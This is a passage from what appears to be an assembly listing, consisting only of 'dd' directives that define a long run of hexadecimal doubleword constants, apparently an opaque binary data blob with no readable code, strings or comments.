		dd 0DFEC015Fh, 0E925A1E6h, 80AD60F8h, 0FE3419C4h, 977B0ACCh
		dd 0E109BC06h, 9708C602h, 0EB4F22DEh, 0BE08C0BCh, 6B0B7A4Fh
		dd 867DB003h, 951352A0h, 0C2C8B863h, 50287A3Ah,	0CC80F20Eh
		dd 0C6B12399h, 4E69C0C7h, 0F6679D9Bh, 4CE274ACh, 0A552E70Dh
		dd 9917E1D1h, 979F02B3h, 222E5649h, 1C482840h, 0F4D1C68h
		dd 32E89684h, 5E2FF120h, 0E8167E55h, 0B5E9C1DBh, 78716319h
		dd 0D2179A5Bh, 0B88419A9h, 0A0213EDh, 0FE011B4Ah, 64A171DEh
		dd 7DEC5A82h, 56FDFC5Eh, 0D6B90893h, 1258BE01h,	412F180Eh
		dd 0F32F5FF5h, 41837B67h, 3C94DD90h, 1F799BACh,	4B4A1436h
		dd 0C2C8F2BFh, 3A5BFF87h, 0EE00FCBCh, 0E92AB966h, 65C17D76h
		dd 7BD3431Bh, 70B18130h, 9354E05Ah, 356805D3h, 1BCCBB7Fh
		dd 0C349586Fh, 321C374Ah, 0A36101E9h, 0CE8B6C3Ah, 36AD85C6h
		dd 2CB3DF80h, 2D7F0593h, 81FACC7Eh, 0AF9D4EE4h,	0E88CD930h
		dd 4332AFAFh, 0BC37F724h, 54531D32h, 4486D3C9h,	0AC575FDBh
		dd 61EBB548h, 6F1B1h, 0BA91E5E9h, 401CA279h, 2D0BC55Eh
		dd 205C3B5Fh, 131B2F3Eh, 743E8E4h, 4A597D10h, 2DC10060h
		dd 31957098h, 0A2B5CBB5h
		dd 77F7C6E8h, 0A8C6F421h, 5E7CB5CCh, 4F8FE830h,	0B04A00F8h
		dd 0C31F80B1h, 0ABD2E9DCh, 0E9B170BDh, 0B36D2440h, 0CA24B077h
		dd 5159C404h, 77F442h, 2034D8F6h, 0CC7800Eh, 0EF5D7D28h
		dd 23084C6Eh, 505309B6h, 0D9DA5E02h, 455234FEh,	19CB8C3Dh
		dd 6CBFE511h, 26F57FA5h, 0A6E1925Bh, 50201091h,	200B202h
		dd 57683CF8h, 0BA65377Ah, 0B7A9956Dh, 3C230657h, 46BF04E1h
		dd 0FE69F62Ch, 0FDD24E87h, 1BE0A0A8h, 0B3B1125h, 6E3C15Bh
		dd 0E9242C78h, 71A5D7EAh, 0ACAE4474h, 0CCB24F90h, 143B72F5h
		dd 31DA303h, 700BF735h,	34DF1215h, 0F2119008h, 3D282E2Ah
		dd 0D36BF83Ch, 981EFF2Ch, 0D5029F45h, 5DBBA4F1h, 0D41897A2h
		dd 0E4EB6DB7h, 9EAAC09h, 9E8B4056h, 66A2FAh, 371086BFh
		dd 4998FA4Dh, 0D0266741h, 0DC111756h, 5A40E765h, 5322C4F7h
		dd 7BDBAFECh, 50833F4Ch, 0BD905566h, 3BED11A0h,	0A7138181h
		dd 95F6338Fh, 0A10DE584h, 568D2BE6h, 76FEC282h,	4B606111h
		dd 625630Ah, 28BFD677h,	67910135h, 0FE94066h, 4D294082h
		dd 515C807Eh, 622E05BFh, 0F1B073E0h, 0B35620E9h, 0C4E5C12Eh
		dd 0ACA6C71Fh, 1D09CC4Eh, 0E8105AE8h, 0EFCF1AE6h, 0C2457C14h
		dd 71D1CCE4h, 3202DA88h, 43493962h, 24AF70F7h, 80C0BC1Fh
		dd 61B0A912h, 50685856h, 302AAC51h, 0D4EF81DAh,	2AED5405h
		dd 0A710F701h, 0D75E2708h, 0B4B124B2h, 96D46952h, 0BE494812h
		dd 0D82E7455h, 0BB26685Dh, 0A3C1BD73h, 0CA30FE2Fh, 41BA4079h
		dd 0C90781E2h, 1D21341Ch, 184DD6Fh, 13AB3A2Dh, 0D3C77349h
		dd 888DEFFDh, 5886F82Ah, 9CAD5AEDh, 0EEA39C4h, 0D0829DD1h
		dd 0C842840Fh, 5C3268BBh, 0EFD7F22Ah, 85EA3B2Ch, 4E2CE904h
		dd 7EF98EEAh, 5A922CE1h, 0E9F18DACh, 7EA465A6h,	1319CDE4h
		dd 1307D4Dh, 54BEC9F1h,	0C18840E1h, 0E022005h, 0E9CE0136h
		dd 304954E3h, 0F58851DAh, 0F798ECE4h, 4D87A34Eh, 6EFFB9B0h
		dd 0BC7A5EC6h, 0DC16696Fh, 9E545860h, 0CCEBE1C0h, 1CADD28Ah
		dd 0D85BDE29h, 66512CFEh, 8B4AA224h, 59328C02h,	7CE0550Eh
		dd 0F05F215Fh, 60BB1F98h, 70BF5063h, 322FC249h,	806F401h
		dd 8B0BF485h, 55DF3208h, 9422E590h, 4263F19Fh, 0FB54D8ACh
		dd 84BF5758h, 87090AB4h, 60E67F1Ch, 20C1DF7Dh, 409468ADh
		dd 0F4073F26h, 0D2523D06h, 99FF3A20h, 807458C2h, 0BBE70581h
		dd 0EA63C26Ah, 503192C2h, 0C0BEBC66h, 402D685Fh, 4B58F99Dh
		dd 16FDD4C0h, 7E388C2Fh, 0A2D42711h, 16888B65h,	5E7559D3h
		dd 17335785h, 6051A1DAh, 21D32D26h, 0D31A41ACh,	65F7111Bh
		dd 0B2E986BFh, 0E0772199h, 48359727h, 39DCEA73h, 0F54FF645h
		dd 0E90800A7h, 76C41F96h, 7DAE1C8Bh, 0FAA7606Ch, 0B1BEA2BFh
		dd 4E76643Bh, 89FC02h, 0A620311h, 155DEE31h, 9F493BE9h
		dd 0C1423205h, 0A9528202h, 3467C5C1h, 1325EF42h, 8D8BF6C9h
		dd 2F901488h, 3E489C0h,	0B6B30B53h, 33D4DC28h, 0B0C2E904h
		dd 8B120ADh, 0DCFC5823h, 312F7512h, 9016E01h, 0C9E791Dh
		dd 55B34B27h, 0E3B53805h, 723C109Fh, 0D5C5C84Fh, 88FF04E3h
		dd 9B5BB33h, 6024D4CEh,	6CA355A5h, 634E67FEh, 61212132h
		dd 0BA009C9Ch, 0BF285D97h, 5404CE77h, 5266DF2Bh, 9C471AB4h
		dd 148912BFh, 7A05D472h, 0C4434562h, 314EC72Bh,	2A2676F6h
		dd 18C8ACB0h, 180B405Bh, 2E3315ECh, 0B7C4360Ch,	5403890Bh
		dd 435D3F87h, 0C8CBFE1Dh, 5C13321Bh, 0BA0770DCh, 0BD55020Fh
		dd 576A5A8Ah, 100F15DAh, 87A177Fh, 30A60444h, 6C37C2BFh
		dd 1C01A57h, 9BF7E90Ch,	0BF84957Ah, 43B2CEC5h, 30C201F1h
		dd 36164C0Dh, 0E2435B68h, 5AC6DCE9h, 579E23BBh,	0FF0B3E2h
		dd 8628539Dh, 2AF75608h, 0B41C5E61h, 0FC427B0Eh, 18776B5h
		dd 255104B8h, 0F8C66B54h, 2FD19A06h, 3CDB14D7h,	0EA0A9CBDh
		dd 0F9BADD27h, 0AF8E389h, 0C91159BDh, 36A582D7h, 34A8FA8Ch
		dd 0EACDF062h, 991317B2h, 9A8C5DF8h, 0B4E9D7BCh, 0DC55B2h
		dd 2EB5F5B9h, 0C5EC44FEh, 840987E6h, 7073E919h,	92309D64h
		dd 483A13Ch, 0AF6D3438h, 684CE06Bh, 0C33BF831h,	27BE21E2h
		dd 0F57BC389h, 0A89C1E03h, 7FF71702h, 7568530Eh, 0F8F2D1C3h
		dd 0C62F537Ch, 9792F6BDh, 0C2F1000Bh, 0E716F9A8h, 0BDC2B60Fh
		dd 1479692Dh, 3C95401h,	37268868h, 5050B76Bh, 290F6461h
		dd 12BA5EF5h, 3AD45003h, 2DBBE681h, 0F4B67EF3h,	0B076272h
		dd 0D4E9F129h, 0B41F5BDBh, 0D5BE926h, 17E887E9h, 7609EF01h
		dd 4EFEE5CBh, 15C9E925h, 0BDED2920h, 20095B4Dh,	71606268h
		dd 7CCF82CBh, 888344A1h, 80C08105h, 6D636E0Bh, 0BB781E0Ch
		dd 9EFC052Ch, 3129549h,	5EB068A3h, 0D4DD10D5h, 179DB06h
		dd 8816CFDh, 14EE805Fh,	4E6D3D27h, 0E9E609D1h, 1B44590Bh
		dd 0C4AD5D5Ah, 0E92D42E5h, 0D2DE0159h, 0D47B83A8h, 5E629A2Fh
		dd 92E91DDAh, 0F8BF3403h, 41BB3B40h, 57228683h,	7CDA0E98h
		dd 60F5DEEAh, 0E64BF30Ah, 5CC270C5h, 6216C6DDh,	5F0B228h
		dd 2951E9DCh, 4E0867A4h, 0E2252743h, 0E571602Bh, 62C72097h
		dd 51B1DAD5h, 0BBA2615h, 79A30485h, 890D988h, 0DC955B59h
		dd 7FE950DDh, 8839AE5Ah, 82119979h, 0A3F202BEh,	604C746Eh
		dd 0B8C303CBh, 0DF509FC4h, 0C42CC396h, 5300AD10h, 0DC2332BBh
		dd 0C20BB93Eh, 0FF077B7Dh, 3BFA0809h, 3AB8501Eh, 51FE600h
		dd 64C103B1h, 907D619h,	0EF50356h, 0F7AF8483h, 68068372h
		dd 34396FF5h, 51050470h, 0BF81640Fh, 7472DE8h, 2A5B0BC0h
		dd 0CFE92612h, 0CE5F9871h, 71264284h, 4A3EC61Eh, 0E6574102h
		dd 5F60EA79h, 69B711EEh, 0D96B5B2Dh, 565F604Eh,	2F8E469Dh
		dd 4F45CB90h, 0B756AB0Ah, 720B3C6Dh, 96DD5F69h,	8D19A0C1h
		dd 0D8909508h, 6A4A3E53h, 2D7E52B8h, 48FEA375h,	978262h
		dd 0B80B1FBDh, 0EA89671Fh, 52490313h, 717DABFh,	8247C29h
		dd 662BCB5Fh, 98E2B209h, 690C255Eh, 0FCE3E5ACh,	2D2E9E52h
		dd 1228725Eh, 1E36E018h, 583A570Dh, 4115436Eh, 0F918D4E4h
		dd 0E5BA4EE3h, 445B2F09h, 0E340142h, 930D561h, 439602CAh
		dd 0F6E96409h, 0D1A26BEBh, 6BEACDD6h, 0B8CB4E2h, 5602FE70h
		dd 0D2368268h, 52744242h, 2AE91866h, 37C73FC5h,	2F2D490Ch
		dd 0BE0D6A47h, 0CBF01D7Bh, 361052A6h, 2EB24BF7h, 920BF3A1h
		dd 76136826h, 50C91FECh, 0BB9F6777h, 0F0D711DEh, 2AB1A2D3h
		dd 80288A6Fh, 7B63E0F5h, 0F015BE7Fh, 98317302h,	0B8B90F3h
		dd 37E848EDh, 0C8292E60h, 0C34B5BD9h, 0EABDC42Bh, 680B5F2Bh
		dd 59F12A7Fh, 0AB29309Bh, 0BB931D26h, 7C81B983h, 2A78B405h
		dd 46BC5C6Dh, 0F1ECF54Bh, 0F83B5CDEh, 4960AF4Bh, 240E7C79h
		dd 7F20D7Ah, 91354053h,	3C76E02Ch, 94891670h, 4C0E2AEFh
		dd 31F21092h, 190C5232h, 40C05D04h, 4C7873E7h, 0F125896Ah
		dd 0FEC50AD6h, 0EA01E291h, 11BFD83Fh, 0C549385Ah, 77FE428Ah
		dd 9FE0B7E1h, 884BD733h, 5A9D14EBh, 0B4F2A951h,	251FE4AAh
		dd 0BA3BF4Ah, 909F110h,	987B6768h, 12B6521Ah, 0EEF48885h
		dd 967C8FCCh, 0A19C25FFh, 1169E62Fh, 9ECF3174h,	1C5E95E2h
		dd 4AD1B75Ch, 54040DB4h, 0F78C8AF6h, 0DAC54F93h, 18B4425Ch
		dd 5ADDB914h, 600EAA5Bh, 10B6198h, 16BD588Ah, 2021F445h
		dd 7DBE2977h, 0D2ABDC69h, 2BB9461h, 0E040D55Ah,	42B05455h
		dd 0DE840C4Bh, 5FE97578h, 218580AAh, 21905EF3h,	0F6192825h
		dd 98516438h, 5C16B05Dh
		dd 61EFC588h, 2225B42Eh, 0C16D1513h, 0B668828Bh, 3404CC7Ah
		dd 0BE2E1964h, 0A2D274A6h, 641050AEh, 0A780EF9Ch, 94BE629h
		dd 0B718FAFBh, 0CB809001h, 64EAE13Bh, 0B975A7Ch, 1A350598h
		dd 0C55F9745h, 1C3D2301h, 1E602516h, 0B80140C7h, 5376FE0Ah
		dd 123EA70Ah, 71B21080h, 5B54257Ch, 757AF3F4h, 0DEB5F5E8h
		dd 80CDFE07h, 0AB3E34E5h, 87D86DAh, 0E90F0A06h,	0A787364Dh
		dd 981647DEh, 0F0745689h, 0B9510F53h, 5620799Ch, 34C0D3BBh
		dd 10ED42E9h, 0DB27F4D2h, 401155E0h, 3601FD35h,	3A1100Dh
		dd 0E968435Dh, 0F1E827F7h, 339F5452h, 0E37A078Bh, 0C022A856h
		dd 0CD4DBAF1h, 0D0F1019Fh, 17B6649h, 910E0B1Dh,	0E8F03E09h
		dd 59AC2556h, 6E43880h,	639752FCh, 0A5EDDCC4h, 4C04434Ch
		dd 0B87CF444h, 3EEB19Bh, 0F66006B0h, 3116CAE3h,	9FE536Fh
		dd 3225EFC8h, 44B82533h, 0BB78C32Fh, 277D34CBh,	2BD9541Dh
		dd 2087F397h, 3FFF35D1h, 715974E6h, 739E30F3h, 57D30102h
		dd 0D5158D68h, 0E7C252C3h, 0A6219208h, 97C83E3Ah, 0A1F714B3h
		dd 0B8F4B7Bh, 0D1853199h, 125AADCDh, 61ABDFFEh,	80456818h
		dd 25912D1Ch, 0A0501F3h, 477161D9h, 58293DF6h, 9670BFCh
		dd 6FE354A0h, 0CB04F2Eh, 3A3B7109h, 1C87E65h, 3380C8C7h
		dd 52E92E08h, 0E52B450Eh, 1348CCB4h, 0B1077F79h, 5E5898D0h
		dd 0D9D4B46Dh, 28871BB0h, 7489F424h, 36268E00h,	810301CCh
		dd 0AE74EAEBh, 7FE06F2Fh, 88E02AE9h, 2B1F32B3h,	2BF76CF1h
		dd 0FF3A03D0h, 854580Eh, 1665A684h, 4F1747ECh, 31CF4068h
		dd 104590Ah, 7EA6C8B7h,	6E0E0665h, 2622C0E9h, 717FD895h
		dd 0BD3A9A47h, 0D45B83E1h, 17659505h, 0F0D012h,	39127E16h
		dd 0FA31ED81h, 8C5DE81Ah, 820D92Ah, 0E93409B6h,	895AF713h
		dd 8F736030h, 6F4D68B9h, 12A9372Ch, 40FE74ABh, 4CBFE0Dh
		dd 293878F1h, 4585D2Fh,	0A18F6A0Bh, 705BC014h, 1241D45h
		dd 0DC15DBD9h, 36A5B980h, 2F53BB3Dh, 595E05F4h,	2D798EBh
		dd 8E5FC08Ah, 50C43078h, 4E68DB0Ch, 0AC3540h, 1267140h
		dd 75A0E9D6h, 0DBA067B9h, 981BF709h, 218AF73Fh,	9BD70075h
		dd 0DAB9287Ch, 32117316h, 1F30908h, 5A586850h, 0ECE1412Ch
		dd 755F02FBh, 0F749E3DBh, 42404C7h, 92C6619h, 6A55997Fh
		dd 1FB387F0h, 0EF0BF371h, 472F5FD6h, 42E02555h,	0B2482FA5h
		dd 4EFE2455h, 0AFE9412Ch, 0F0FCCBDBh, 0AAB90E2Bh, 0BB56FE4Eh
		dd 0EE39AC41h, 0EA90D536h, 3F6A5178h, 5BD64688h, 46FC3229h
		dd 0CF20C4FEh, 39D34C20h, 0E879AD66h, 653124BBh, 5E8C0F1Eh
		dd 40060189h, 0F3BF0E2Dh, 9F0E208Bh, 0AA283485h, 93BD7031h
		dd 0CA9EA672h, 93B0F256h, 94FD08CDh, 5EBC003h, 25169E80h
		dd 3574D3B9h, 44B0A0E5h, 0B60FD31h, 92B6B9E6h, 0DE58985Fh
		dd 0BE0056BEh, 1EA87DACh, 5EF01C29h, 0A05D401h,	0AA4AD748h
		dd 2B1569h, 7D30685Eh, 8F9029C5h, 63FC064Ah, 0DB75FEA4h
		dd 4B74CAFAh, 50F2F192h, 0D2DC9F58h, 0A661105Ah, 67BB80F0h
		dd 7EFB5512h, 15F37020h, 3A4C2DB7h, 17094A74h, 307FF2CEh
		dd 0CFC91BAFh, 1A07552Ch, 4FD7F723h, 984C1EE2h,	4F6568CFh
		dd 5B3CCF38h, 348482ECh, 0F841603h, 0A518C1ABh,	0DE6D346Ch
		dd 23B95B4Fh, 77B3905h,	0F572BC43h, 0A87D601h, 0BA9340C0h
		dd 89C4BA5Bh, 0D7E90B07h, 690A71B9h, 5AD4757h, 55293E9h
		dd 0C63AEF79h, 0FAFAF274h, 0F11BC960h, 17ED1AA7h, 0E1D17Ah
		dd 426C4494h, 0F9093133h, 2425ACE9h, 71B2C649h,	2D50610h
		dd 1BBE565Ch, 140F65Ah,	897749EEh, 0D0E86016h, 4D22E202h
		dd 0C52B31E9h, 0FDEC8896h, 42ED8004h, 6692DBCh,	8671BC82h
		dd 1E48A259h, 0EC839A46h, 7309B711h, 0C2006D53h, 2A510517h
		dd 6AB80150h, 0E912EA7Ch, 8D07F36Bh, 324925F1h,	5912B78Ah
		dd 3C354208h, 1657EE1Eh, 7202B39Dh, 0C9A9BDh, 0FD67ED61h
		dd 1B949D29h, 4F9A70C3h, 0B5FCFC44h, 0C6F0044Ah, 80570BC0h
		dd 0C387127h, 5EDAB86Dh, 30A28927h, 25B6EDF7h, 4A607B4Fh
		dd 921FA242h, 9C7A38EFh, 78CB3B4Bh, 0BA27513Fh,	0C0BD6C04h
		dd 81273493h, 7AC5CD09h, 0E5A400A4h, 9D99E906h,	53E52BDCh
		dd 0CB3F5099h, 7DE55F5Ch, 900CCA6Ah, 0F70F10DBh, 1FBA5207h
		dd 0B3AB8719h, 1626BC2Bh, 183C4A21h, 68B0E258h,	8C055B1Bh
		dd 9BDA598h, 5CBBFCE9h,	3576809Fh, 484D6033h, 4607CB93h
		dd 0CE76342Ah, 1F9550CAh, 23588CCBh, 0C2092E1Eh, 7F8932ADh
		dd 0AFB0A196h, 2E1A4D03h, 1E80120h, 67A5C6F2h, 0DB29590Ch
		dd 884EEC2h, 189B8158h,	5D33248h, 205F895Ah, 42A21885h
		dd 11868C2h, 0F64B2DFh,	99A249E0h, 0C2695855h, 0A25BC74Ch
		dd 0C8E9C280h, 0FF800919h, 0F3509F0h, 0DFC9DCB4h, 5D4E5D6Ch
		dd 5942E2F4h, 0C514190h, 45ED440h, 0E3F095F4h, 9EB1A5Dh
		dd 0A14ADAF7h, 31170F62h, 3CF5A26Bh, 0E9462422h, 0AB85DF17h
		dd 0BFC7D9EAh, 0BA0DAC07h, 253776ADh, 2FB07AB1h, 2C1DD49h
		dd 55341E4Ch, 685189E0h, 5EE90244h, 961A1220h, 0FE2D7615h
		dd 900236BCh, 0B9DA4E4Eh, 84ED480Dh, 0C102F8E1h, 0DA7D07EDh
		dd 62CBF02Ch, 0DFEC2206h, 2A12010Bh, 0B32B0113h, 3C08938Eh
		dd 45916B9h, 8CD27B43h,	0DB1D68EEh, 5B6F777Eh, 0CF870960h
		dd 0E9BD21FDh, 0BC3ADDF3h, 21BAB5C3h, 85DDEF30h, 4BD3F714h
		dd 0B53E8580h, 21C92A0Fh, 10F202C6h, 1449836h, 59D54042h
		dd 50B19B9Bh, 0E7FFBA80h, 0C1BF6525h, 4F5229EEh, 4F72775Eh
		dd 1FC9BE5Bh, 0B9C0D52Bh, 33FF122Eh, 0E3020712h, 5F294CE1h
		dd 78D3E393h, 0A20112B4h, 7D13774Ah, 0C26592B4h, 6600465Bh
		dd 0F2268C68h, 0E15695F0h, 0D2F20143h, 5CBA89CBh, 53EAE0D1h
		dd 5F5B1C07h, 8074EB5h,	0F5580899h, 2439ACB0h, 0A8B25F51h
		dd 4D9487Ch, 27977F0h, 35FED0FBh, 8A2C5763h, 2D0BBF48h
		dd 0DFB8DD21h, 4D704968h, 0ED403BE5h, 7E69CB81h, 9415094h
		dd 0D96E38F3h, 0DF01488Dh, 920541E7h, 0D266292Bh, 250504B9h
		dd 0CC378F68h, 0E017B2B6h, 950AB151h, 38A888DFh, 3F3CA109h
		dd 62BDC129h, 3795E2Dh,	81489970h, 0D5B25EDh, 0E2EA1884h
		dd 2667C013h, 1FBB76DEh, 67282A36h, 4370C5D6h, 0BBE877E9h
		dd 14F46B45h, 2CB12F92h, 928DE73Eh, 867F24BFh, 0EF391F9Bh
		dd 0FF9296CFh, 1FBE0h, 505553C1h, 2C1C7468h, 35584201h
		dd 3B813C51h, 0A6108B31h, 0F05AF188h, 0D0294A27h, 0F9090AFAh
		dd 8BBD054Ah, 0ED6C6885h, 1DA716FDh, 437A6098h,	6DFA4B30h
		dd 0CDB32F93h, 571E09D7h, 2C2AE557h, 0A1DE65A5h, 0FED76B39h
		dd 0EFCECB37h, 2E62467h, 7C15C6EAh, 5435602h, 0D6F231D8h
		dd 40680273h, 11626F70h, 0BE0770F0h, 11493374h,	744289A2h
		dd 0B5183A3h, 0D1D96E2Fh, 0C0AE2C9Ch, 0D3FF0E45h, 5E62B231h
		dd 7F74C8C2h, 79ED42B7h, 0CE574984h, 1619996Eh,	6332F18Dh
		dd 0E0B15ED6h, 0BF2F147h, 0D4A05725h, 1D0E4BE7h, 2AF95650h
		dd 91A90305h, 71B05BE9h, 0EC419D29h, 620FF695h,	0D5047202h
		dd 0A8C2D00h, 0D124653Eh, 0A0174AE3h, 0AB52D2C2h, 72FFD6F3h
		dd 0FC0E9AD7h, 76482D4Ch, 14A2846h, 5E4140C8h, 684B3097h
		dd 0CD253D82h, 405E9A45h, 200F6F1Ch, 23A172Ch, 462EAF68h
		dd 38633FF8h, 28E2EAD0h, 4CFA5005h, 0B92E013h, 0B9C2BA4Ch
		dd 7AC2C3D7h, 1D3A4FF8h, 90AFE8D5h, 0F16654A5h,	4C4A125Bh
		dd 0C11FBF45h, 7125BD49h
		dd 2EBC843Ch, 0C72680AEh, 0B32D7CB6h, 28965C0Ah, 0B7A2B275h
		dd 0F7420B5Bh, 0FEBD60F9h, 9D3B9F61h, 0E6DFD692h, 4BAA3027h
		dd 565FF8C9h, 0B509C7B0h, 0D24D2457h, 71702F9Ah, 79F21E66h
		dd 5BE7D65Bh, 7072A34Ch, 0CFB9BDADh, 0B8E62A5Dh, 1D9E5B29h
		dd 1C25CBF1h, 8F70D864h, 61CA6817h, 9494EACCh, 37B520AFh
		dd 0B67CFDCEh, 0AE808736h, 0F3B5F07Eh, 99344715h, 57582ADCh
		dd 0ECFC35E9h, 30CDFA3Ah, 126AD5EDh, 5201BADFh,	61C42549h
		dd 686C52F1h, 129E7850h, 0AF4C8878h, 0FD4E88CBh, 0C00484Fh
		dd 18E106E9h, 0FCD84E21h, 0C46085EFh, 7F5AC9AFh, 36687C30h
		dd 6284B661h, 50041A79h, 1048DD80h, 9F6F7F2Fh, 50696AD9h
		dd 498B8A2h, 0C549B32Dh, 9482EF20h, 0E3BBF5D6h,	268BE20Ch
		dd 2E6B297h, 0D0F79605h, 417FE883h, 13CFA584h, 0AA22682Ah
		dd 0FD2E8DC9h, 4BACF6BBh, 0E9D10221h, 83E6F924h, 7C41FBF0h
		dd 4E63B03Eh, 0F4B7D55Bh, 275A681Fh, 0B32DA7C6h, 0F1AAA235h
		dd 50E7DD32h, 293D323Fh, 9645DEBAh, 0F7549529h,	49E98579h
		dd 89CD5DABh, 0B814B8C9h, 193A564Dh, 5E0BD5F7h,	0CF403F2Ch
		dd 574C1F05h, 0D452DC89h, 1232BBFAh, 0A3D15A38h, 194A66A8h
		dd 3FF3B4Dh, 42BB0C87h,	0C154191Eh, 5DA55A01h, 0AD44CE01h
		dd 2F7B0814h, 4D57E062h, 67564845h, 15844425h, 0E888EA29h
		dd 7E174199h, 0F24E7Dh,	816E1BBDh, 28B25E79h, 642834B6h
		dd 0E90E0B05h, 97E935C3h, 560EAA90h, 1D644E68h,	7300AB01h
		dd 0F046958h, 0CF81044Fh, 0FBAC4678h, 0F9F3FDC0h, 0EA406931h
		dd 5C4BABD0h, 4A84B1B8h, 5D5A0BD4h, 59751E42h, 4CF64BEh
		dd 2DA2B06Ah, 9F947250h, 588C988Ah, 460BBD59h, 0A784E33h
		dd 950C8F2Ah, 16DA0C91h, 16656B6Fh, 8B9102Ah, 0FE1C8B16h
		dd 4F159E6Ch, 0C762E428h, 0E64F5102h, 40DF010Dh, 1F29B908h
		dd 0C14E4C75h, 341290CEh, 3BF6D826h, 23D51D14h,	0D73201F2h
		dd 0F7293FB9h, 0AC4BD941h, 2E1CBD00h, 8177F000h, 6803BCF5h
		dd 4C78E46Fh, 55C99062h, 172D104h, 1FF7EB81h, 9F19F0F6h
		dd 491E2A01h, 0E4672068h, 0FC93244Eh, 0EDB819Eh, 1775B885h
		dd 0EB6D83A1h, 0AE2501D5h, 60372D70h, 6B1299D7h, 11000AF1h
		dd 73CA2B9Fh, 0CE5FA4Dh, 63CE08E7h, 9913C9A4h, 0ACA06B4Eh
		dd 5BD92489h, 50594021h, 1271E60h, 8229E64Ch, 0A057C20Ch
		dd 7D40BE07h, 0F0265AEDh, 3F00BC3Dh, 0CAB91E8Dh, 1D728077h
		dd 56E9D129h, 76D46004h, 81B0626Dh, 134FDA7Fh, 3026C21Eh
		dd 0A0EC1E97h, 55F25548h, 65506140h, 5E4CC205h,	3387EE83h
		dd 0F6A8F7C4h, 80C32984h, 0C12C603h, 0E59E6667h, 0C0BF3A35h
		dd 14078F63h, 0D35E77B8h, 0AAC38A60h, 0BF17E2Fh, 0FE7CB551h
		dd 16C51281h, 9B2F4601h, 0DC34527Ch, 0C3AE76E2h, 0DD8127A1h
		dd 89D523Eh, 10E38E1h, 86D4742Dh, 1CA4EA77h, 4A291449h
		dd 40705D8h, 0FD4839E9h, 0E025134Bh, 77EE3340h,	0A075510Fh
		dd 3057AB83h, 83182676h, 6752990Bh, 0EB64B60h, 0B14E0C6Ch
		dd 81CAB75Ch, 46E14752h, 0EBD1856Fh, 6FC1114h, 788719FBh
		dd 328E120Ch, 6077A11Eh, 8CC0DA90h, 0D8289E2Dh,	0F0291466h
		dd 1750705h, 3B0843C8h,	6D806EE9h, 559512D4h, 1F41CFFAh
		dd 526C7A68h, 915D5861h, 40B4C42Eh, 68530203h, 8F27E666h
		dd 2C5C22C0h, 1E187D3Eh, 201E7ABAh, 0F6E5630h, 5800E320h
		dd 2907ED37h, 0BB850F3h, 2C0F1DF9h, 3A3D22DDh, 0BC4559B7h
		dd 0F753090h, 4CFF180h,	40AB78E7h, 6F325A2Dh, 0D5A15E35h
		dd 0F95DC65Dh, 0EFE09312h, 12A21D1h, 4EE55DC6h,	2E01C928h
		dd 8179A73Ah, 2BF401CDh, 0BCE907Fh, 48562611h, 2FA550Ah
		dd 0B7F9D9FAh, 892FC674h, 8904A9D2h, 5EA45DC7h,	3CBEC7D3h
		dd 7C02BBF0h, 23E95CCBh, 0BAAC67E8h, 45E82132h,	65BF7D8Ch
		dd 452D16Eh, 0F2BA5AF3h, 84BD90E6h, 1123F4Dh, 66D2AB22h
		dd 0E06DECE3h, 7829569Fh, 0FBB5D136h, 6F96BDBEh, 5FA7E601h
		dd 921C4B2Ch, 6CC92E61h, 7C174082h, 82907328h, 0C126C276h
		dd 84B9C9F2h, 14E5E9F9h, 6AA4294h, 7523EF73h, 84B6E6FEh
		dd 0F6728981h, 0C16A2116h, 79A248E7h, 31EE44B4h, 5A07FB0h
		dd 0C096F25Bh, 0A881DF49h, 7322FD68h, 60546E79h, 0E91FB134h
		dd 33886592h, 2DF883D3h, 93B8115Ah, 8E2DBAF5h, 0FEB2AA20h
		dd 0C0CA04FEh, 0C1F606EAh, 4941D98h, 6F5700FEh,	0F501237Fh
		dd 5FF82C1h, 1C3E5B5Ah,	6E2D392h, 33339D43h, 9290F138h
		dd 7EC12594h, 964CE56Bh, 0A6750F05h, 89A4398Dh,	0B437BEF0h
		dd 0D3A4DD92h, 97D92286h, 21A50C68h, 0F51D93BAh, 2E183CCEh
		dd 2732110Ch, 0C9D462B8h, 0CF17D521h, 446D0205h, 42C69DBAh
		dd 0DFDB62h, 78EFBAC3h,	6936519Fh, 8D5006A5h, 622606F8h
		dd 940EE805h, 0B4103261h, 4A15EE7h, 0DAAF3BE7h,	0B5A32D78h
		dd 0FC9F24CEh, 0D5CD50ABh, 0AFA1D397h, 0EA8122B8h, 0A12F2A09h
		dd 2046500Dh, 5951C351h, 1F776095h, 0D5EB02FBh,	0DEE93951h
		dd 0F1555210h, 565A62C1h, 6EC61FE1h, 0D9FE2B12h, 0AFAABF92h
		dd 40AA40EDh, 54EE0935h, 29876B7Dh, 8D213FD0h, 3BE9FA92h
		dd 0DC77EC81h, 84F6CB81h, 32271820h, 0C011084h,	0B08BD05h
		dd 2B85AA03h, 0BCCD2280h, 29AF2527h, 56C5A477h,	3AE73C80h
		dd 0BE420238h, 4B396020h, 0E933817Fh, 1F6D0E4Ch, 2A490807h
		dd 0DEFDE750h, 94B303A9h, 0FBF1C710h, 0D5685D04h, 0D8D9AB57h
		dd 0E3A10629h, 87D004D8h, 961D5868h, 57E97081h,	401C099Ah
		dd 5C0D8F7h, 79D1386Dh,	5A9E0B35h, 89F7CF04h, 0A2B1512Dh
		dd 9DE0BFDAh, 5081CECCh, 293E3030h, 0BA01810h, 8F79E8D8h
		dd 8042ADBCh, 0CE215AF9h, 6FF2B859h, 0A6C98D20h, 25D36074h
		dd 0D16C5E52h, 30F03139h, 45E908C6h, 6F149768h,	16F7C920h
		dd 0EAD3C380h, 430F1867h, 0FAF6B151h, 0BC9EE0C1h, 0F745C074h
		dd 2E423CBh, 7858EBA0h,	0E9326605h, 0BFD4BE43h,	661B37FAh
		dd 0C0B9A81h, 5539063h,	710F5F4h, 0D0AF12FFh, 851027FBh
		dd 3BEEB1A9h, 9BDFDFB9h, 0D0258772h, 5A50CE20h,	0C6AB915Ah
		dd 0DE1EA595h, 985D5ADAh, 4B70E9FAh, 871195C8h,	340C039Fh
		dd 9553D5DFh, 505D0264h, 9F755CDh, 8826018Fh, 0BE7497AFh
		dd 0DF730ECBh, 56D3E976h, 2852EB55h, 0A401DC0Bh, 1EB4152h
		dd 45AC0652h, 27A76809h, 0B9DAAAB5h, 0B6847417h, 9F92BEAh
		dd 0E679F568h, 0AB65202Bh, 6C0A37A1h, 72D7C22Bh, 0B732C1CCh
		dd 0EA7CA056h, 67C79CC3h, 64595B7Ch, 0C1843144h, 8914E2FEh
